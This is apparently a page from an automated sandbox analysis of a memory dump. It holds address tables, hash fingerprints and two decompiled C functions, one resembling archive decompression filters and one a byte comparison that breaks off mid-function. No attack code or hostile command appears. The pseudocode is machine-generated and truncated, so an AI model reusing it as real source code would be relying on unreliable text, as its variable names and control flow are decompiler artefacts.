0x01366bf5
0x00000000
0x00000000
0x00000000
0x01366bf7
0x01366bf9
0x00000000
0x01366bf9
0x01366bb2
0x01366bb5
0x01366bbf
0x01366bc7
0x01366bcc
0x01366bcf
0x00000000
0x01366bcf
0x01366b79
0x01366886
0x01366886
0x0136688a
0x0136688e
0x00000000
0x0136688e
0x01366b28
0x01366b2a
0x01366b34
0x01366b3c
0x01366b41
0x01366b42
0x01366b44
0x01366b4d
0x01366b54
0x01366b5f
0x01366b67
0x01366b69
0x00000000
0x01366b69
0x013668b1
0x013668b7
0x013668ba
0x013668c7
0x013668ca
0x013668d0
0x013668d0
0x013668bc
0x013668bc
0x013668bc
0x013668d2
0x013668d5
0x013668d9
0x013668db
0x013668df
0x013668e6
0x013668f0
0x013668f2
0x013668fb
0x013668fd
0x013668fd
0x01366900
0x01366900
0x01366905
0x0136690c
0x01366912
0x01366918
0x0136691f
0x0136694c
0x0136694d
0x0136694e
0x01366950
0x0136696c
0x0136696f
0x01366976
0x01366979
0x0136697c
0x01366987
0x01366993
0x01366995
0x0136699b
0x0136699d
0x0136699d
0x0136699f
0x00000000
0x0136699f
0x01366958
0x0136695b
0x0136695b
0x0136695d
0x00000000
0x00000000
0x0136695f
0x01366960
0x01366963
0x01366966
0x00000000
0x00000000
0x00000000
0x01366968
0x0136696a
0x00000000
0x01366921
0x01366923
0x01366926
0x01366930
0x01366938
0x0136693d
0x01366940
0x013669a7
0x013669a7
0x013669aa
0x013669ad
0x013669bd
0x013669c0
0x013669c0
0x013669af
0x013669af
0x013669af
0x013669c2
0x013669c3
0x013669c7
0x013669c9
0x013669cb
0x01366ad9
0x01366ad9
0x01366adf
0x01366ae5
0x01366ae6
0x01366aea
0x01366af0
0x01366af2
0x01366af3
0x01366af7
0x01366afd
0x01366aff
0x01366aff
0x01366b00
0x01366b00
0x01366afd
0x01366af0
0x01366b04
0x01366b0c
0x01366b12
0x01366b16
0x00000000
0x013669d1
0x013669d1
0x013669d4
0x01366ab5
0x01366abe
0x01366ac6
0x01366aca
0x01366ad1
0x01366ad3
0x01366ad3
0x01366ad6
0x00000000
0x01366ad6
0x013669da
0x013669de
0x013669e7
0x013669f5
0x013669f9
0x01366a00
0x01366a02
0x01366a02
0x01366a05
0x01366a05
0x01366a0a
0x01366a11
0x01366a17
0x01366a1d
0x01366a24
0x01366a51
0x01366a52
0x01366a53
0x01366a55
0x01366a71
0x01366a74
0x01366a7b
0x01366a7e
0x01366a81
0x01366a8c
0x01366a98
0x01366a9a
0x01366aa0
0x01366aa2
0x01366aa2
0x01366aa4
0x00000000
0x01366aa4
0x01366a5d
0x01366a60
0x01366a60
0x01366a62
0x00000000
0x00000000
0x01366a64
0x01366a65
0x01366a68
0x01366a6b
0x00000000
0x00000000
0x00000000
0x01366a6d
0x01366a6f
0x00000000
0x01366a26
0x01366a28
0x01366a2b
0x01366a35
0x01366a3d
0x01366a42
0x01366a45
0x01366aac
0x01366aaf
0x00000000
0x01366aaf
0x01366a24
0x013669cb
0x0136691f
0x01366859
0x01366860
0x01366897
0x01366897
0x0136689c
0x0136689f
0x00000000
0x0136689f
0x01366862
0x01366866
0x00000000
0x00000000
0x01366868
0x0136686e
0x0136686f
0x01366872
0x00000000
0x00000000
0x01366874
0x01366875
0x0136687c
0x01366880
0x01366880
0x01366880
0x00000000
0x01366880
0x013667d0
0x01366723
0x013666ec
0x00000000
0x013666b7
0x013666ba
0x013666be
0x013666c2
0x013666c6
0x013666c7
0x013666ce
0x00000000
0x013666d0
0x013666d0
0x00000000
0x013666d0
0x013666ce

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d246882c656795fc948e6a7bc27bc04e04b0b255477d624506bdffc03f479d0
Instruction ID: a8c2dcb056244742438b310a2dbbfe23ebd4c4731dce365c8d794dd3e6af31ba
Opcode Fuzzy Hash: 6d246882c656795fc948e6a7bc27bc04e04b0b255477d624506bdffc03f479d0
Instruction Fuzzy Hash: 3812D1F16107068BC729CF28C991AB9B7E4FB4430CF14C92ED997C7A89D374A8A4CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0135BAD1, Relevance: .4, Instructions: 449
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0135BAD1(signed int* __ecx) {
				void* __edi;
				signed int _t194;
				signed int _t197;
				void* _t204;
				signed char _t205;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				intOrPtr _t219;
				signed int _t221;
				signed int _t223;
				void* _t234;
				signed int _t235;
				signed int _t238;
				signed int _t266;
				void* _t267;
				void* _t268;
				void* _t269;
				void* _t270;
				void* _t271;
				signed int _t274;
				intOrPtr _t275;
				void* _t276;
				signed char* _t277;
				signed int _t278;
				signed int _t279;
				signed int _t281;
				char _t282;
				signed int _t284;
				signed int _t285;
				signed char _t289;
				void* _t290;
				intOrPtr _t292;
				signed int _t293;
				signed char* _t297;
				signed int _t304;
				signed int _t306;
				signed int _t308;
				signed char _t309;
				signed int _t310;
				intOrPtr _t311;
				void* _t312;
				void* _t313;
				unsigned int _t316;
				signed int _t317;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed char _t323;
				signed int _t324;
				signed int _t325;
				void* _t326;
				void* _t327;
				void* _t328;
				signed int _t331;
				signed char _t332;
				signed int _t333;
				signed char* _t334;
				signed int _t335;
				signed int _t336;
				signed char _t338;
				unsigned int _t340;
				signed int _t345;
				void* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				void* _t354;
				void* _t355;

				_t311 =  *((intOrPtr*)(_t355 + 4));
				_t339 = __ecx;
				if(_t311 <= 0) {
					L15:
					return 1;
				}
				if(_t311 <= 2) {
					_t194 = __ecx[5];
					_t284 =  *__ecx;
					_t340 = __ecx[7];
					_t276 = _t194 - 4;
					if(_t276 > 0x3fffc) {
						L98:
						return 0;
					}
					_t326 = 0;
					_t197 = (_t194 & 0xffffff00 | _t311 == 0x00000002) + 0xe8;
					 *(_t355 + 0x60) = _t197;
					if(_t276 == 0) {
						goto L15;
					} else {
						goto L88;
					}
					do {
						L88:
						_t312 =  *_t284;
						_t284 = _t284 + 1;
						_t327 = _t326 + 1;
						_t340 = _t340 + 1;
						if(_t312 == 0xe8 || _t312 == _t197) {
							_t313 =  *_t284;
							if(_t313 >= 0) {
								_t191 = _t313 - 0x1000000; // -16777215
								if(_t191 < 0) {
									 *_t284 = _t313 - _t340;
								}
							} else {
								if(_t340 + _t313 >= 0) {
									_t190 = _t313 + 0x1000000; // 0x1000001
									 *_t284 = _t190;
								}
							}
							_t197 =  *(_t355 + 0x60);
							_t284 = _t284 + 4;
							_t326 = _t327 + 4;
							_t340 = _t340 + 4;
						}
					} while (_t326 < _t276);
					goto L15;
				}
				if(_t311 == 3) {
					_t277 =  *__ecx;
					_t328 = __ecx[5] - 0x15;
					if(_t328 > 0x3ffeb) {
						goto L98;
					}
					_t316 = __ecx[7] >> 4;
					 *(_t355 + 0x28) = _t316;
					if(_t328 == 0) {
						goto L15;
					}
					_t331 = (_t328 - 1 >> 4) + 1;
					 *(_t355 + 0x30) = _t331;
					do {
						_t204 = ( *_t277 & 0x1f) - 0x10;
						if(_t204 < 0) {
							goto L84;
						}
						_t205 =  *((intOrPtr*)(_t204 + 0x138d070));
						if(_t205 == 0) {
							goto L84;
						}
						_t332 =  *(_t355 + 0x28);
						_t285 = 0;
						_t317 = _t205 & 0x000000ff;
						 *((intOrPtr*)(_t355 + 0x64)) = 0;
						 *(_t355 + 0x38) = _t317;
						_t350 = 0x12;
						do {
							if((_t317 & 1) != 0) {
								_t175 = _t350 + 0x18; // 0x2a
								if(E0135C03A(_t277, _t175, 4) == 5) {
									E0135C085(_t277, E0135C03A(_t277, _t350, 0x14) - _t332 & 0x000fffff, _t350, 0x14);
								}
								_t317 =  *(_t355 + 0x34);
								_t285 =  *(_t355 + 0x60);
							}
							_t285 = _t285 + 1;
							_t350 = _t350 + 0x29;
							 *(_t355 + 0x60) = _t285;
						} while (_t350 <= 0x64);
						_t331 =  *(_t355 + 0x30);
						_t316 =  *(_t355 + 0x28);
						L84:
						_t277 =  &(_t277[0x10]);
						_t316 = _t316 + 1;
						_t331 = _t331 - 1;
						 *(_t355 + 0x28) = _t316;
						 *(_t355 + 0x30) = _t331;
					} while (_t331 != 0);
					goto L15;
				}
				if(_t311 == 4) {
					_t215 = __ecx[1];
					_t289 = __ecx[5];
					_t333 = __ecx[2];
					 *(_t355 + 0x60) = _t215;
					_t278 = _t215 - 3;
					 *(_t355 + 0x28) = _t289;
					 *(_t355 + 0x34) = _t278;
					 *(_t355 + 0x3c) = _t333;
					if(_t289 - 3 > 0x1fffd || _t278 > _t289 || _t333 > 2) {
						goto L98;
					} else {
						_t217 =  *__ecx;
						 *(_t355 + 0x24) = _t217;
						_t351 = _t217 + _t289;
						_t218 = 0;
						 *(_t355 + 0x14) = _t351;
						_t319 = _t351 - _t278;
						 *(_t355 + 0x1c) = 0;
						 *(_t355 + 0x10) = _t319;
						do {
							_t279 = 0;
							if(_t218 >= _t289) {
								goto L67;
							}
							_t334 = _t319 + _t218;
							_t320 =  *(_t355 + 0x60);
							_t221 =  *(_t355 + 0x34) - _t351;
							_t352 =  *(_t355 + 0x34);
							 *(_t355 + 0x20) = _t221;
							do {
								if( &(_t334[_t221]) >= _t320) {
									_t227 =  *_t334 & 0x000000ff;
									_t291 =  *(_t334 - 3) & 0x000000ff;
									 *(_t355 + 0x30) =  *_t334 & 0x000000ff;
									 *(_t355 + 0x2c) =  *(_t334 - 3) & 0x000000ff;
									 *(_t355 + 0x3c) = E01374E62(_t320, _t227 - _t291 + _t279 - _t279);
									 *(_t355 + 0x24) = E01374E62(_t320, _t227 - _t291 + _t279 -  *(_t355 + 0x34));
									_t234 = E01374E62(_t320, _t227 - _t291 + _t279 -  *(_t355 + 0x34));
									_t292 =  *((intOrPtr*)(_t355 + 0x44));
									_t355 = _t355 + 0xc;
									_t321 =  *(_t355 + 0x18);
									if(_t292 > _t321 || _t292 > _t234) {
										_t289 =  *(_t355 + 0x28);
										_t320 =  *(_t355 + 0x60);
										_t279 =  *(_t355 + 0x30);
										if(_t321 > _t234) {
											_t279 =  *(_t355 + 0x2c);
										}
									} else {
										_t289 =  *(_t355 + 0x28);
										_t320 =  *(_t355 + 0x60);
									}
								}
								_t223 =  *(_t355 + 0x24);
								_t279 = _t279 -  *_t223 & 0x000000ff;
								 *(_t355 + 0x24) = _t223 + 1;
								_t334[_t352] = _t279;
								_t334 =  &(_t334[3]);
								_t221 =  *(_t355 + 0x20);
							} while ( &(_t334[ *(_t355 + 0x20)]) < _t289);
							_t351 =  *(_t355 + 0x14);
							_t218 =  *(_t355 + 0x1c);
							_t319 =  *(_t355 + 0x10);
							L67:
							_t218 = _t218 + 1;
							 *(_t355 + 0x1c) = _t218;
						} while (_t218 < 3);
						_t335 =  *(_t355 + 0x3c);
						_t290 = _t289 + 0xfffffffe;
						while(_t335 < _t290) {
							_t219 =  *((intOrPtr*)(_t335 + _t351 + 1));
							 *((intOrPtr*)(_t335 + _t351)) =  *((intOrPtr*)(_t335 + _t351)) + _t219;
							 *((intOrPtr*)(_t335 + _t351 + 2)) =  *((intOrPtr*)(_t335 + _t351 + 2)) + _t219;
							_t335 = _t335 + 3;
						}
						goto L15;
					}
				}
				if(_t311 == 5) {
					_t235 = __ecx[5];
					_t293 =  *__ecx;
					_t281 = __ecx[1];
					 *(_t355 + 0x2c) = _t293;
					 *(_t355 + 0x30) = _t235;
					 *(_t355 + 0x38) = _t293 + _t235;
					if(_t235 > 0x20000 || _t281 > 0x80 || _t281 == 0) {
						goto L98;
					} else {
						_t336 = 0;
						 *(_t355 + 0x34) = 0;
						if(_t281 == 0) {
							goto L15;
						} else {
							goto L21;
						}
						do {
							L21:
							 *(_t355 + 0x20) =  *(_t355 + 0x20) & 0x00000000;
							 *(_t355 + 0x1c) =  *(_t355 + 0x1c) & 0x00000000;
							_t345 = 0;
							 *(_t355 + 0x18) =  *(_t355 + 0x18) & 0x00000000;
							_t353 = 0;
							 *(_t355 + 0x14) =  *(_t355 + 0x14) & 0x00000000;
							 *(_t355 + 0x60) =  *(_t355 + 0x60) & 0;
							 *(_t355 + 0x1c) = 0;
							E0136E920(_t336, _t355 + 0x40, 0, 0x1c);
							 *(_t355 + 0x34) =  *(_t355 + 0x34) & 0;
							_t355 = _t355 + 0xc;
							 *(_t355 + 0x24) = _t336;
							if(_t336 <  *(_t355 + 0x30)) {
								_t238 =  *(_t355 + 0x60);
								do {
									_t322 =  *(_t355 + 0x1c);
									 *(_t355 + 0x14) = _t322 -  *(_t355 + 0x18);
									_t297 =  *(_t355 + 0x2c);
									 *(_t355 + 0x18) = _t322;
									_t323 =  *_t297 & 0x000000ff;
									 *(_t355 + 0x2c) =  &(_t297[1]);
									_t304 = ( *(_t355 + 0x14) * _t238 + _t345 *  *(_t355 + 0x14) + _t353 *  *(_t355 + 0x1c) +  *(_t355 + 0x20) * 0x00000008 >> 0x00000003 & 0x000000ff) - _t323;
									 *( *(_t355 + 0x24) +  *(_t355 + 0x38)) = _t304;
									_t349 = _t323 << 3;
									 *(_t355 + 0x20) = _t304 -  *(_t355 + 0x20);
									 *(_t355 + 0x24) = _t304;
									 *((intOrPtr*)(_t355 + 0x44)) =  *((intOrPtr*)(_t355 + 0x44)) + E01374E62(_t323, _t323 << 3);
									 *((intOrPtr*)(_t355 + 0x4c)) =  *((intOrPtr*)(_t355 + 0x4c)) + E01374E62(_t323, (_t323 << 3) -  *(_t355 + 0x1c));
									 *((intOrPtr*)(_t355 + 0x54)) =  *((intOrPtr*)(_t355 + 0x54)) + E01374E62(_t323,  *(_t355 + 0x20) + (_t323 << 3));
									 *((intOrPtr*)(_t355 + 0x5c)) =  *((intOrPtr*)(_t355 + 0x5c)) + E01374E62(_t323, (_t323 << 3) -  *(_t355 + 0x20));
									 *((intOrPtr*)(_t355 + 0x64)) =  *((intOrPtr*)(_t355 + 0x64)) + E01374E62(_t323,  *(_t355 + 0x24) + _t349);
									 *((intOrPtr*)(_t355 + 0x6c)) =  *((intOrPtr*)(_t355 + 0x6c)) + E01374E62(_t323, _t349 -  *(_t355 + 0x14));
									 *((intOrPtr*)(_t355 + 0x74)) =  *((intOrPtr*)(_t355 + 0x74)) + E01374E62(_t323, _t349 +  *(_t355 + 0x14));
									_t355 = _t355 + 0x1c;
									if(( *(_t355 + 0x28) & 0x0000001f) != 0) {
										_t345 =  *(_t355 + 0x10);
										_t238 =  *(_t355 + 0x60);
									} else {
										_t324 =  *(_t355 + 0x40);
										_t266 = 0;
										 *(_t355 + 0x40) =  *(_t355 + 0x40) & 0;
										_t308 = 1;
										do {
											if( *(_t355 + 0x40 + _t308 * 4) < _t324) {
												_t324 =  *(_t355 + 0x40 + _t308 * 4);
												_t266 = _t308;
											}
											 *(_t355 + 0x40 + _t308 * 4) =  *(_t355 + 0x40 + _t308 * 4) & 0x00000000;
											_t308 = _t308 + 1;
										} while (_t308 < 7);
										_t345 =  *(_t355 + 0x10);
										_t267 = _t266 - 1;
										if(_t267 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t353 >= 0xfffffff0) {
												_t353 = _t353 - 1;
											}
											goto L49;
										}
										_t268 = _t267 - 1;
										if(_t268 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t353 < 0x10) {
												_t353 = _t353 + 1;
											}
											goto L49;
										}
										_t269 = _t268 - 1;
										if(_t269 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t345 < 0xfffffff0) {
												goto L49;
											}
											_t345 = _t345 - 1;
											L43:
											 *(_t355 + 0x10) = _t345;
											goto L49;
										}
										_t270 = _t269 - 1;
										if(_t270 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t345 >= 0x10) {
												goto L49;
											}
											_t345 = _t345 + 1;
											goto L43;
										}
										_t271 = _t270 - 1;
										if(_t271 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t238 < 0xfffffff0) {
												goto L49;
											}
											_t238 = _t238 - 1;
											L36:
											 *(_t355 + 0x60) = _t238;
											goto L49;
										}
										_t238 =  *(_t355 + 0x60);
										if(_t271 != 1 || _t238 >= 0x10) {
											goto L49;
										} else {
											_t238 = _t238 + 1;
											goto L36;
										}
									}
									L49:
									_t306 =  *(_t355 + 0x24) + _t281;
									 *(_t355 + 0x28) =  *(_t355 + 0x28) + 1;
									 *(_t355 + 0x24) = _t306;
								} while (_t306 <  *(_t355 + 0x30));
								_t336 =  *(_t355 + 0x34);
							}
							_t336 = _t336 + 1;
							 *(_t355 + 0x34) = _t336;
						} while (_t336 < _t281);
						goto L15;
					}
				}
				if(_t311 != 6) {
					goto L15;
				}
				_t309 = __ecx[5];
				_t354 = 0;
				_t325 = __ecx[1];
				 *(_t355 + 0x28) = _t309;
				 *(_t355 + 0x60) = _t309 + _t309;
				if(_t309 > 0x20000 || _t325 > 0x400 || _t325 == 0) {
					goto L98;
				} else {
					_t274 = _t325;
					 *(_t355 + 0x24) = _t325;
					do {
						_t282 = 0;
						_t338 = _t309;
						if(_t309 <  *(_t355 + 0x60)) {
							_t310 =  *(_t355 + 0x60);
							goto L12;
							L12:
							_t275 =  *_t339;
							_t282 = _t282 -  *((intOrPtr*)(_t275 + _t354));
							_t354 = _t354 + 1;
							 *((char*)(_t275 + _t338)) = _t282;
							_t338 = _t338 + _t325;
							if(_t338 < _t310) {
								goto L12;
							} else {
								_t309 =  *(_t355 + 0x28);
								_t274 =  *(_t355 + 0x24);
								goto L14;
							}
						}
						L14:
						_t309 = _t309 + 1;
						_t274 = _t274 - 1;
						 *(_t355 + 0x28) = _t309;
						 *(_t355 + 0x24) = _t274;
					} while (_t274 != 0);
					goto L15;
				}
			}

0x0135bad1
0x0135badb
0x0135bae0
0x0135bb77
0x00000000
0x0135bb77
0x0135bae9
0x0135bfc1
0x0135bfc4
0x0135bfc6
0x0135bfc9
0x0135bfd2
0x0135c033
0x00000000
0x0135c033
0x0135bfda
0x0135bfdc
0x0135bfde
0x0135bfe4
0x00000000
0x00000000
0x00000000
0x00000000
0x0135bfea
0x0135bfea
0x0135bfea
0x0135bfec
0x0135bfed
0x0135bfee
0x0135bff2
0x0135bff8
0x0135bffc
0x0135c00f
0x0135c017
0x0135c01b
0x0135c01b
0x0135bffe
0x0135c003
0x0135c005
0x0135c00b
0x0135c00b
0x0135c003
0x0135c01d
0x0135c021
0x0135c024
0x0135c027
0x0135c027
0x0135c02a
0x00000000
0x0135c02e
0x0135baf2
0x0135befb
0x0135befd
0x0135bf06
0x00000000
0x00000000
0x0135bf0f
0x0135bf12
0x0135bf18
0x00000000
0x00000000
0x0135bf22
0x0135bf23
0x0135bf27
0x0135bf2d
0x0135bf30
0x00000000
0x00000000
0x0135bf32
0x0135bf3a
0x00000000
0x00000000
0x0135bf3c
0x0135bf40
0x0135bf42
0x0135bf47
0x0135bf4b
0x0135bf4f
0x0135bf50
0x0135bf57
0x0135bf5b
0x0135bf6a
0x0135bf85
0x0135bf85
0x0135bf8a
0x0135bf8e
0x0135bf8e
0x0135bf92
0x0135bf93
0x0135bf96
0x0135bf9a
0x0135bf9f
0x0135bfa3
0x0135bfa7
0x0135bfa7
0x0135bfaa
0x0135bfab
0x0135bfae
0x0135bfb2
0x0135bfb2
0x00000000
0x0135bfbc
0x0135bafb
0x0135bdaf
0x0135bdb2
0x0135bdb5
0x0135bdb8
0x0135bdbc
0x0135bdbf
0x0135bdc6
0x0135bdca
0x0135bdd3
0x00000000
0x0135bdea
0x0135bdea
0x0135bdec
0x0135bdf0
0x0135bdf3
0x0135bdf7
0x0135bdfb
0x0135bdfd
0x0135be01
0x0135be05
0x0135be05
0x0135be09
0x00000000
0x00000000
0x0135be0f
0x0135be16
0x0135be1a
0x0135be1c
0x0135be20
0x0135be24
0x0135be28
0x0135be2a
0x0135be2d
0x0135be35
0x0135be3b
0x0135be49
0x0135be5e
0x0135be62
0x0135be67
0x0135be6b
0x0135be6e
0x0135be74
0x0135be84
0x0135be8a
0x0135be8e
0x0135be92
0x0135be94
0x0135be94
0x0135be7a
0x0135be7a
0x0135be7e
0x0135be7e
0x0135be74
0x0135be98
0x0135be9f
0x0135bea2
0x0135beaa
0x0135bead
0x0135beb4
0x0135beb4
0x0135bebe
0x0135bec2
0x0135bec6
0x0135beca
0x0135beca
0x0135becb
0x0135becf
0x0135bed8
0x0135bedc
0x0135beef
0x0135bee1
0x0135bee5
0x0135bee8
0x0135beec
0x0135beec
0x00000000
0x0135bef3
0x0135bdd3
0x0135bb04
0x0135bb83
0x0135bb86
0x0135bb88
0x0135bb8b
0x0135bb91
0x0135bb95
0x0135bb9e
0x00000000
0x0135bbb8
0x0135bbb8
0x0135bbba
0x0135bbc0
0x00000000
0x00000000
0x00000000
0x00000000
0x0135bbc2
0x0135bbc2
0x0135bbc2
0x0135bbcb
0x0135bbd0
0x0135bbd2
0x0135bbd7
0x0135bbd9
0x0135bbde
0x0135bbe6
0x0135bbea
0x0135bbef
0x0135bbf3
0x0135bbf6
0x0135bbfe
0x0135bc04
0x0135bc08
0x0135bc08
0x0135bc16
0x0135bc1a
0x0135bc23
0x0135bc27
0x0135bc2b
0x0135bc54
0x0135bc56
0x0135bc65
0x0135bc69
0x0135bc6d
0x0135bc76
0x0135bc86
0x0135bc96
0x0135bca6
0x0135bcb6
0x0135bcc4
0x0135bcd1
0x0135bcd5
0x0135bcdd
0x0135bd79
0x0135bd7d
0x0135bce3
0x0135bce3
0x0135bce7
0x0135bce9
0x0135bcef
0x0135bcf0
0x0135bcf4
0x0135bcf6
0x0135bcfa
0x0135bcfa
0x0135bcfc
0x0135bd01
0x0135bd02
0x0135bd07
0x0135bd0b
0x0135bd0e
0x0135bd6d
0x0135bd74
0x0135bd76
0x0135bd76
0x00000000
0x0135bd74
0x0135bd10
0x0135bd13
0x0135bd61
0x0135bd68
0x0135bd6a
0x0135bd6a
0x00000000
0x0135bd68
0x0135bd15
0x0135bd18
0x0135bd51
0x0135bd58
0x00000000
0x00000000
0x0135bd5a
0x0135bd5b
0x0135bd5b
0x00000000
0x0135bd5b
0x0135bd1a
0x0135bd1d
0x0135bd45
0x0135bd4c
0x00000000
0x00000000
0x0135bd4e
0x00000000
0x0135bd4e
0x0135bd1f
0x0135bd22
0x0135bd39
0x0135bd40
0x00000000
0x00000000
0x0135bd42
0x0135bd33
0x0135bd33
0x00000000
0x0135bd33
0x0135bd27
0x0135bd2b
0x00000000
0x0135bd32
0x0135bd32
0x00000000
0x0135bd32
0x0135bd2b
0x0135bd81
0x0135bd85
0x0135bd87
0x0135bd8b
0x0135bd8f
0x0135bd99
0x0135bd99
0x0135bd9d
0x0135bd9e
0x0135bda2
0x00000000
0x0135bdaa
0x0135bb9e
0x0135bb09
0x00000000
0x00000000
0x0135bb0b
0x0135bb0e
0x0135bb10
0x0135bb13
0x0135bb1a
0x0135bb24
0x00000000
0x0135bb3e
0x0135bb3e
0x0135bb40
0x0135bb44
0x0135bb44
0x0135bb46
0x0135bb4c
0x0135bb4e
0x0135bb4e
0x0135bb52
0x0135bb52
0x0135bb54
0x0135bb57
0x0135bb58
0x0135bb5b
0x0135bb5f
0x00000000
0x0135bb61
0x0135bb61
0x0135bb65
0x00000000
0x0135bb65
0x0135bb5f
0x0135bb69
0x0135bb69
0x0135bb6a
0x0135bb6d
0x0135bb71
0x0135bb71
0x00000000
0x0135bb44

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a07aefb6ae13cb62923fd364543b0ecb5da1f4c4325a239af5debc49f67ec4f
Instruction ID: f847507d79eb0d80cd26655970f1a181838ea98ee86b354b6568cc19044cf8cc
Opcode Fuzzy Hash: 0a07aefb6ae13cb62923fd364543b0ecb5da1f4c4325a239af5debc49f67ec4f
Instruction Fuzzy Hash: 40F189716083458FC794CF2DC484A2AFBE6FBC9A58F144A2EF98587359D734E905CB42

Uniqueness

Uniqueness Score: -1.00%

Function 01370113, Relevance: .3, Instructions: 345
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E01370113(void* __edx, void* __esi) {
				signed int _t192;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t241;
				void* _t287;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t326;
				void* _t327;

				_t327 = __esi;
				_t287 = __edx;
				if( *((intOrPtr*)(__esi - 0x1e)) ==  *((intOrPtr*)(__edx - 0x1e))) {
					_t241 = 0;
					L15:
					if(_t241 != 0) {
						goto L2;
					}
					_t193 =  *(_t327 - 0x1a);
					if(_t193 ==  *(_t287 - 0x1a)) {
						_t241 = 0;
						L26:
						if(_t241 != 0) {
							goto L2;
						}
						_t194 =  *(_t327 - 0x16);
						if(_t194 ==  *(_t287 - 0x16)) {
							_t241 = 0;
							L37:
							if(_t241 != 0) {
								goto L2;
							}
							_t195 =  *(_t327 - 0x12);
							if(_t195 ==  *(_t287 - 0x12)) {
								_t241 = 0;
								L48:
								if(_t241 != 0) {
									goto L2;
								}
								_t196 =  *(_t327 - 0xe);
								if(_t196 ==  *(_t287 - 0xe)) {
									_t241 = 0;
									L59:
									if(_t241 != 0) {
										goto L2;
									}
									if( *(_t327 - 0xa) ==  *(_t287 - 0xa)) {
										_t241 = 0;
										L70:
										if(_t241 != 0) {
											goto L2;
										}
										_t198 =  *(_t327 - 6);
										if(_t198 ==  *(_t287 - 6)) {
											_t241 = 0;
											L81:
											if(_t241 == 0 &&  *((intOrPtr*)(_t327 - 2)) ==  *((intOrPtr*)(_t287 - 2))) {
											}
											goto L2;
										}
										_t292 = (_t198 & 0x000000ff) - ( *(_t287 - 6) & 0x000000ff);
										if(_t292 == 0) {
											L74:
											_t294 = ( *(_t327 - 5) & 0x000000ff) - ( *(_t287 - 5) & 0x000000ff);
											if(_t294 == 0) {
												L76:
												_t296 = ( *(_t327 - 4) & 0x000000ff) - ( *(_t287 - 4) & 0x000000ff);
												if(_t296 == 0) {
													L78:
													_t241 = ( *(_t327 - 3) & 0x000000ff) - ( *(_t287 - 3) & 0x000000ff);
													if(_t241 != 0) {
														_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
													}
													goto L81;
												}
												_t241 = (0 | _t296 > 0x00000000) * 2 - 1;
												if(_t241 != 0) {
													goto L2;
												}
												goto L78;
											}
											_t241 = (0 | _t294 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L76;
										}
										_t241 = (0 | _t292 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L74;
									}
									_t298 = ( *(_t327 - 0xa) & 0x000000ff) - ( *(_t287 - 0xa) & 0x000000ff);
									if(_t298 == 0) {
										L63:
										_t300 = ( *(_t327 - 9) & 0x000000ff) - ( *(_t287 - 9) & 0x000000ff);
										if(_t300 == 0) {
											L65:
											_t302 = ( *(_t327 - 8) & 0x000000ff) - ( *(_t287 - 8) & 0x000000ff);
											if(_t302 == 0) {
												L67:
												_t241 = ( *(_t327 - 7) & 0x000000ff) - ( *(_t287 - 7) & 0x000000ff);
												if(_t241 != 0) {
													_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
												}
												goto L70;
											}
											_t241 = (0 | _t302 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L67;
										}
										_t241 = (0 | _t300 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L65;
									}
									_t241 = (0 | _t298 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L63;
								}
								_t304 = (_t196 & 0x000000ff) - ( *(_t287 - 0xe) & 0x000000ff);
								if(_t304 == 0) {
									L52:
									_t306 = ( *(_t327 - 0xd) & 0x000000ff) - ( *(_t287 - 0xd) & 0x000000ff);
									if(_t306 == 0) {
										L54:
										_t308 = ( *(_t327 - 0xc) & 0x000000ff) - ( *(_t287 - 0xc) & 0x000000ff);
										if(_t308 == 0) {
											L56:
											_t241 = ( *(_t327 - 0xb) & 0x000000ff) - ( *(_t287 - 0xb) & 0x000000ff);
											if(_t241 != 0) {
												_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
											}
											goto L59;
										}
										_t241 = (0 | _t308 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L56;
									}
